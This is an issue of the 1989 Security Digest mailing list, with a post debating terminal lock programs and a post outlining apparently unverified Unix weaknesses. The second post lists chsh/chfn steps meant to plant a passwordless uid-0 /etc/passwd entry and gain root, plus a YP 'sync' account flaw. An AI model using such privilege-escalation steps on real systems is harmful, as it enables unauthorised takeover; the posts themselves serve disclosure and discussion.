Date: Mon, 27 Feb 89 14:38:01 PST
Subject: Security Digest V1 #11

Security Digest Volume 1 Issue 11

subject(s):

            Re: Security Digest V1 #10
            Some random thoughts

------------------------------------------------------------------------

Date: Thu, 23 Feb 89 01:52:53 -0800
From: uunet!eda.com!jim
Subject: Re: Security Digest V1 #10

| > The problem with always allowing a lock program to accept the root
| > passwd follows.  We found that the root passwd is useful to break a lock
| > running on an idle terminal (the user locked the terminal and left).
| >
| > However, consider the person who writes a highly similar lock program
| > which also accepts the root passwd - but logs it.  The sysadmin doesn't
| > even know that it happened, if done skillfully enough.

So why not have 'lock' accept the alternate password of a psuedo-user 'lock'.
The administrator creates this psuedo account, with a password known to
the administrators, but the account has no privilege?

The hacker who creates the fake lock program then gains the ability to
unlock other users terminals, until the lock account password is changed.

Reality:
In a networked or multi-terminal world I just log onto another terminal
as root, and kill the lock.

Reality plus:
Just don't use lock.

Reality minus:
What's wrong with a built in string? Did you really think lock was
of major importance?

Our world:
A piece of paper, left lying on the keyboard, saying 'Please do not disturb'.

or
        (sun land)
        % sh -c 'PATH=/usr/5bin:$PATH;banner do not disturb'

        (apollo land)
        % /bin/sh -c 'SYSTYPE=sys5;banner do not disturb'

        (sysV)
        % banner do not disturb

I'm sure I'll hear lots of reasons from places where lab area users
need to lock their terminals. But I fail to see why a time limited
lock program could not serve there. Elsewhere I actually find the
commands ^D and logout work quite efficiently. Another useful command
is exit.

------------------------------------------------------------------------

Date: Mon, 20 Feb 89 11:59:25 -0100
From: ccicpg!uunet!unido!zgdvda!zhang (Ning Zhang)
Subject: Some random thoughts

Hi Folks,

Let me contribute some random thoughts :-) again. However, I'm not sure
they're right, because I have no chance to verify them.

1. The CHFN bug

Someone told me that on all sites using dbm(3) database as the front end of
/etc/passwd, the chfn attack only causes a fault (maybe it's possible to
make chfn becoming a setuid shell by the similar fingerd trick) and makes
/etc/passwd locked. But it may be possible to use the following steps to
create a bad password entry.

        1. change your login shell to B-Shell if you're using C-Shell
                chsh hacker /bin/sh
        2. change your finger entry to make sure your password entry
           *just* BUFSIZ(1024) char long (tricky :-)
                chfn hacker
        3. change your login shell back to C-Shell
                chsh hacker /bin/csh
        4. use command passwd or chfn or chsh again
        5. a bad password entry will occur in /etc/passwd!!
                grep h::0:0::: /etc/passwd
                h::0:0:::
        6. become a super-user :-)
                su h
        7. ...


2. The YP bug

SunOS 3.x and 4.x are shipped with a account "sync" which has no password.
So if the YP server machine is connected to the Internet, a bad guy on
the Internet can create a password entry like "c::0:0:::" on that machine,
although he has no account on that machine, and even Sun's yppasswdd fix
(has no limitation on the encrypted-password field) has been installed.
If the machine has the mechanism for password aging and uses strncmp instead
of strcmp for password comparision, BE CAREFUL!!


If someone has made some tests about them, please inform me about the
reaults.

------------------------------------------------------------------------

        End of Security Digest Volume 1 Issue 11
        **********************